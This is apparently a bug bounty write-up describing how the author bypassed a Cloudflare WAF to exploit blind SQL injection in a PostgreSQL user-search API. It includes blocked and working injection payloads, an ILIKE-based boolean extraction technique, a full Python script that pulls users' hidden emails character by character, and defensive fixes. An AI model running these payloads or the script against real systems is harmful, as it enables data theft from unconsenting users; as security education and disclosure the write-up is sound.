Alright, pull up a chair. We all know the "classic" SQL injection. But what happens when you find a juicy bug, and it's hiding behind a big, scary WAF (Web Application Firewall) like Cloudflare? You've got injection, but you can't use OR 1=1, UNION, or SLEEP(). Everything is BLOCKED. 99% of hunters give up here. This is the story of how I joined the 1%.
This is a real-world bug bounty story. The techniques are for educational and authorized testing (CTF, Bug Bounty) ONLY. Using this on a site you don't have permission for is how you go from bug hunter to "inmate." Don't be that person.
Table of Contents
Chapter 1: The First Clue (It's Always the Quiet Ones)
I was testing an API endpoint. It was a simple user search function. Nothing sensitive, just public info.
https://api.test.com/users/public?page=1&search=bug_vs_me
Test 1: The Normal Search
I sent a request for deepak(for example using random name) and got a 200 OK with his public data. Totally normal.
Test 2: The "Smoke Grenade" (a single quote)
Then, I tried searching for 'bug_vs_me. The page returned a 200 OK... but the data was empty. No error, just... nothing. A lot of hunters would see "200 OK" and move on. Big mistake.
This "nothing" response is a classic sign of **Blind SQL Injection**. My quote broke the query, so the backend code just returned an empty list instead of a big, loud error message.
I confirmed it in Burp by adding a logical operator. The API *hated* it and finally showed its cards.
Chapter 2: The WAF Brick Wall
So, I had a confirmed SQLi on a PostgreSQL database. Easy money, right? Wrong.
The site was behind a very strict Cloudflare WAF. I tried everything. `sqlmap` failed. Manual payloads failed. Everything was blocked.
All my standard payloads were getting instantly shut down.
' OR 1=1-- -> BLOCKED
' AND 1=1-- -> BLOCKED
' AND IF(1=1,SLEEP(5),0)-- -> BLOCKED
' UNION SELECT... -> BLOCKED
This is where you have to stop thinking like a script kiddie and start thinking like a database admin. The WAF is looking for "hacker words." My job was to find a "normal word" that I could use for hacking.
WAF Bypasses are an art form.
This is a great example of bypassing WAF.
Chapter 3: The 5-Letter Bypass: `ILIKE`
I spent hours reading PostgreSQL documentation. I wasn't looking for attack functions. I was looking for *search operators*. And then I found it: ILIKE.
ILIKE is a simple, case-insensitive version of LIKE. It's used for pattern matching (e.g., username ILIKE 'a%' finds users starting with 'a' or 'A').
The "Aha!" Moment:
- Operator's Log
Why isILIKEthe perfect bypass? Because it's a legitimate search function! A WAF is *designed* to allow search operators, otherwise the application itself would break. It's not on the "bad list."
I crafted a new payload. The {} at the start is just to close the search query string early.
{}'+Or+publicusername+ILIKE+'deepak
Result: SUCCESS! The API returned Deepak's data. The WAF saw ILIKE as a normal part of a search and let it straight through. I had my bypass.
Chapter 4: Weaponizing `ILIKE` for Data Theft
Now that I could control the query, it was time to steal the data. The API response showed a masked email, but I knew the *real* email was in another column, probably called username.
I could now use my bypass to ask TRUE/FALSE questions. This is Blind SQLi.
The Logic: "Show me the user 'deepak' IF his real email (in the username column) starts with 'd'."
{}'OR+publicusername+ILIKE+'deepak'+AND+username+ILIKE+'d%'
This is a perfect boolean test!
-
Test 1: `...AND+username+ILIKE+'d%'`
Result: TRUE. (The API returned Deepak's data). This means the email starts with 'd'. -
Test 2: `...AND+username+ILIKE+'de%'`
Result: TRUE. (Data returned). The email starts with 'de'. -
Test 3: `...AND+username+ILIKE+'dex%'`
Result: FALSE. (API returned empty[]). The email does NOT start with 'dex'. -
Test 4: `...AND+username+ILIKE+'dee%'`
Result: TRUE. (Data returned). The email starts with 'dee'.
You see the game? I could now do this for every character and extract the entire email, one letter at a time.
Chapter 5: The PoC: Automating the Attack
I wrote a simple Python script to automate the entire attack. It just asks for a public username, then runs through the alphabet to extract the full email in seconds.
import requests
import string
# Target configuration
host = "https://api.test.com" # Vulnerable host
base_path = "/users/public"
charset = string.ascii_lowercase + string.digits + "@._"
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json"
}
def is_valid_email_prefix(public_username, prefix):
"""
Constructs and sends the SQLi payload to test one character prefix.
"""
# The '%' is the SQL wildcard, critical for ILIKE
payload = f"{{}}'OR+publicusername+ILIKE+'{public_username}'+AND+username+ILIKE+'{prefix}%'"
url = f"{host}{base_path}?page=1&search={payload}"
try:
r = requests.get(url, headers=headers, timeout=10)
if r.status_code == 200 and '"public":[' in r.text:
data = r.json()
# If we get a "success" AND data, the prefix is TRUE
if data.get("status") == "success" and data.get("public"):
print(f"[+] Valid prefix: {prefix}")
return True
except Exception as e:
print(f"[-] Error testing prefix '{prefix}': {e}")
return False
def extract_email(public_username):
email_prefix = ""
print(f"[*] Starting email extraction for: {public_username}")
while True:
found_char = False
for c in charset:
attempt = email_prefix + c
if is_valid_email_prefix(public_username, attempt):
email_prefix += c
found_char = True
break # Go to the next character
if not found_char:
break # No more characters match
return email_prefix
# --- Main execution ---
public_username = input("Enter the public_username to extract email for: ").strip()
if public_username:
extracted_email = extract_email(public_username)
if extracted_email:
print(f"\n[+] SUCCESS: Extracted email: {extracted_email}")
else:
print(f"\n[-] FAILED: Could not extract email.")
else:
print("[-] No username provided.")
- Input: Asks for a
public_username to target.
- Loop: Starts a
while loop to build the email, one character at a time.
- Test: Tries every char in
charset (a-z, 0-9, @, _, .).
- Payload: Creates the
ILIKE payload (e.g., ...AND+username+ILIKE+'d%').
- Analyze: If the server returns data ("True"), it adds the char (
'd') to the email_prefix and loops again to find the next char ('de%', 'dee%', etc.).
- Terminate: If it tries all characters and none are "True", it means the email is complete.
- Output: Prints the final extracted email.
The script worked perfectly. Faced with an undeniable PoC, the team (with help from the mediation team) finally validated the bug. Case closed.
Chapter 6: The Attacker/Defender Playbook
This bug was a perfect storm. So what's the takeaway?
Attacker's Playbook: What We Learned
1. WAFs are just "Dumb" Checklists: A WAF isn't smart. It's just a big list of "bad" words. Your job is to find the "good" words (like ILIKE) that the WAF ignores but the database will execute.
2. Read The F*cking Manual (RTFM): This bypass wasn't in any "Top 10 SQLi Payloads" list. It came from reading the actual PostgreSQL documentation. Always research your specific target.
3. A "200 OK" Can Be a Lie: A "success" response that shows *no data* (when it should) is a massive red flag for a Blind Injection. Always trust the change in behavior, not the status code.
Defender's Playbook: How to Fix This FOREVER
1. DON'T RELY ON A WAF! A WAF is a bonus, not a solution. Your code *must* be secure on its own. This bug was 100% preventable.
2. The #1 Fix: Parameterized Queries! This is the golden rule. It separates the SQL *command* from the *user data*. The database is told "this is the query" and "this is just some text," so it never tries to "run" the user's text. Attack DEAD.
This is what they did. They stitched a string together.
String query = "SELECT * FROM users WHERE publicusername = '" + userInput + "'";
This is what they *should* have done. The
? is a safe placeholder.
PreparedStatement stmt = con.prepareStatement("SELECT * FROM users WHERE publicusername = ?");
stmt.setString(1, userInput);
3. Least Privilege: Why did the public API user have permission to read the username (email) column?! It should *only* have been able to read publicusername and other public data. Never give your database users more power than they absolutely need.
Conclusion: Dig Deeper
Don't let a WAF or a "200 OK" fool you. The real bugs are often hiding just one layer deep. When your tools fail, that's when the *real* hacking begins. Dig into the documentation, find the obscure operators, and prove them wrong.
Go find some (authorized) bugs.